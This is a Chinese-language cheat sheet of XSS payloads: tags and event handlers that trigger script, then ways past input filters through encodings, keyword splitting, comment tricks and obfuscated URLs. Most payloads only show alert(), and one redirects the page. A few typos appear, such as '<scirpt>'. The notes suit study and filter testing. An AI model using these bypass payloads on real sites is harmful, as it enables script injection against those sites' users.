XSS跨站脚本攻击漏洞

一、常见触发标签

无过滤情况

1.<script>

<scirpt>alert("xss");</script>

2.<img>

当图片加载错误时触发

<img src="x" onerror=alert(1)><img src="1" onerror=eval("alert('xss')")>

还可以改成onmouseover=”alert(1)” onmouseout=”alert(1)”

3.<a>

1
2
3
4
5
6
<a href="https://www.qq.com">qq</a>
<a href=javascript:alert('xss')>test</a> 不是触发性的动作需要加前缀javascript:
<a href="javascript:a" onmouseover="alert(/xss/)">aa</a>
<a href="" onclick=alert('xss')>a</a>
<a href="" onclick=eval(alert('xss'))>aa</a>
<a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>

4.<input>

1
2
3
4
5
<input onfocus="alert('xss');">
竞争焦点,从而触发onblur事件
<input onblur=alert("xss") autofocus><input autofocus>
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<input onfocus="alert('xss');" autofocus>

5.<from>

1
2
3
4
<form action=javascript:alert('xss')>
<form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<script>alert('xss')</script>编码为base64

6.<iframe>

1
2
3
<iframe onload=alert("xss");></iframe>
<iframe src=javascript:alert('xss')></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

7.<svg>

<svg onload=alert(1)>

其他不常见的标签见

存在过滤情况

1.过滤空格

使用/绕过

<img/src="x"/onerror=alert("xss");

2.过滤关键字

(1)大小写绕过
(2)复写关键字
(3)字符拼接

1
2
3
4
使用eval
<img src="x" onerror="a=aler;b=t;c='(xss);';eval(a+b+c)">
使用top
<script>top["al"+"ert"](``xss``);</script>(只有两个``这里是为了凸显出有`符号)

3.其他字符混淆

1
2
3
4
5
可利用注释、标签的优先级等
<<script>alert("xss");//<</script>
<scri<!--test-->pt>alert("hello world!")</scri<!--test-->pt>
<title><img src=</title>><img src=x onerror="alert(``xss``);"> 因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效
<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>

4.编码绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
html编码<script>alert("xss");</script>
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">
Unicode编码绕过,eval里面也加分号
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
url编码绕过
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
Ascii码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
Hex绕过
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
八进制绕过
<img src=x onerror=alert('\170\163\163')>
base64绕过
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

5.过滤双引号,单引号

在js中,用两个反引号代替双引号

或者使用编码绕过

6.过滤括号

使用throw来绕过

1
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

7.过滤url地址

1
2
3
4
5
http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/ #url编码
http://2130706433/ #十进制ip
http://0177.0.0.01/ #8进制ip
http://0x7f.0x0.0x0.0x1/ #16进制ip
//www.baidu.com #html标签中用//可以代替http://

linux下可以使用\代替/

使用中文逗号代替英文逗号
<img src="x" onerror="document.location=``http://www。baidu。com``">//会自动跳转到百度

__END__